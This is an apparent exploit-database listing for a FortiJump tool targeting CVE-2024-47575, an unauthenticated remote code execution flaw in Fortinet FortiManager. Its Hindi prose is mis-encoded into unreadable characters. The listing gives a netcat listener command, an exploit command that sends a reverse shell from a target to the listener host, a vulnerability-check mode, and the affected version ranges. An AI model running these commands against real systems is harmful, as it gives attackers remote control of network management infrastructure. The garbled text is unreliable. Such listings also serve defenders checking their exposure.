Sploitus

Fortijump-Exploit

CVE-2024-47575CVE-2024-23113CVE-2024-47575

kitploit ┬╖ 2026-08-26

Exploit Code

MARKDOWN46 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WATCHTOWRLABS-FORTIJUMP-EXPLOIT-CVE-2024-47575
# CVE-2024-47575

Fortinet FortiManager рдХреЗ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди, рдЬрд┐рд╕реЗ FortiJump CVE-2024-47575 рднреА рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ

рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП рд╣рдорд╛рд░рд╛ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рджреЗрдЦреЗрдВ

рдЖрд░рдВрдн рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЕрдкрдирд╛ ncat рд╕рддреНрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ:

root@kitploit:~
    
    
    nc -lvvnp 80
    

рдлрд┐рд░, рд╣рдорд╛рд░рд╛ рдбрд┐рдЯреЗрдХреНрд╢рди рдЖрд░реНрдЯрд┐рдлреИрдХреНрдЯ рдЬрдирд░реЗрдЯрд░ рдЪрд▓рд╛рдПрдБ:

root@kitploit:~
    
    
    python3 CVE-2024-47575.py --target 192.168.1.110 --lhost 192.168.1.53 --lport 80 --action exploit
    

рдЕрдХреЗрд▓реЗ рдХрдордЬреЛрд░реА рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    python3 CVE-2024-47575.py --target 192.168.1.110 --action check
    

# рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

root@kitploit:~
    
    
    FortiManager 7.6.0
    FortiManager 7.4.0 through 7.4.4
    FortiManager 7.2.0 through 7.2.7
    FortiManager 7.0.0 through 7.0.12
    FortiManager 6.4.0 through 6.4.14
    FortiManager 6.2.0 through 6.2.12
    FortiManager Cloud 7.4.1 through 7.4.4
    FortiManager Cloud 7.2.1 through 7.2.7
    FortiManager Cloud 7.0.1 through 7.0.12
    FortiManager Cloud 6.4